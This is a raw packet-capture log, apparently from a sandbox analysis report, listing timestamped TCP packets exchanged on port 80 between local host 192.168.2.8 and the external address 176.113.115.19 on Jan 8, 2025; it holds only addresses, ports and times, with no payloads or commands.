Jan 8, 2025 09:42:33.220906019 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220911980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220916033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220933914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220942020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220953941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220958948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220971107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220974922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220984936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220995903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221004963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221023083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221035004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221045017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221050978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221054077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221066952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221067905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221081018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221087933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221096039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221107006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221113920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221116066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221127033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221129894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221139908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221149921 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221157074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221163988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221169949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221179008 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221193075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221196890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221214056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221215963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221229076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221229076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221242905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221247911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221256018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221261978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221266985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221266985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221285105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221292019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221308947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221318007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221324921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221339941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221350908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221354008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221380949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221389055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221458912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221472979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221484900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221506119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221523046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221525908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221540928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221554041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221560001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221568108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221569061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221582890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221595049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221597910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221606970 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221611977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221626043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221626043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221635103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221652985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221653938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221663952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221668005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221682072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221693993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221702099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221704006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221719027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221721888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221734047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221748114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221755981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221755981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221761942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221770048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221774101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221785069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221788883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.221801996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221808910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.221828938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.243259907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243288994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243303061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243321896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243330956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.243345976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.243350983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243364096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243376017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.243379116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.243405104 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.243428946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305664062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305691004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305707932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305721045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305753946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305772066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305780888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305804014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305818081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305819988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305830956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305840969 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305845976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305860996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305872917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305890083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.305975914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.305990934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306015015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306016922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306030035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306041956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306044102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306055069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306062937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306073904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306075096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306088924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306102037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306107998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306114912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306127071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306133032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306147099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.306154966 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306165934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.306193113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310559988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310574055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310606956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310631990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310640097 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310643911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310656071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310661077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310661077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310669899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310677052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310684919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310693979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310697079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310712099 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310724020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310729027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310741901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310743093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310766935 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310781002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310784101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310808897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310822010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310826063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310846090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310847998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310857058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310862064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310883999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310885906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310894966 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310900927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310911894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310914040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310925007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310940981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310952902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310967922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.310990095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.310997963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311000109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311016083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311036110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311042070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311050892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311063051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311074972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311079979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311094999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311100960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311116934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311122894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311136961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311141968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311148882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311156034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311167002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311171055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311177969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311189890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311204910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311212063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311213017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311224937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311235905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311255932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311255932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311273098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311275959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311285973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311300039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311310053 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311319113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311335087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311346054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311346054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311357975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311378956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311381102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311393023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311404943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311418056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311419010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311430931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311439991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311444044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311463118 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311466932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311482906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311487913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311494112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311511040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311521053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311537027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311537981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311552048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311563015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311567068 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311575890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311594009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311594009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311610937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311624050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311636925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311645985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311657906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311659098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311671019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311685085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311688900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311697006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311707973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311711073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311728954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311738014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311747074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311750889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311759949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311773062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311780930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311794996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311814070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311816931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311829090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311846018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311856985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311872005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311876059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311887026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311897993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311898947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311911106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311913013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311930895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311939001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311947107 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311953068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311965942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.311975956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.311980009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312002897 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312022924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312026024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312036991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312052965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312062025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312069893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312078953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312092066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312093019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312117100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312118053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312133074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312141895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312151909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312160015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312165022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312169075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312185049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312189102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312199116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312211990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312216043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312216043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312232018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312248945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312320948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312333107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312344074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312355995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.312365055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.312388897 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.340173960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340204000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340217113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340229988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340243101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340269089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340282917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.340331078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.340331078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.396327019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396341085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396353006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396377087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396389961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396399975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396411896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396425009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396445990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.396454096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396465063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.396466970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.396488905 CET	49708	80	192.168.2.8	176.113.115.19
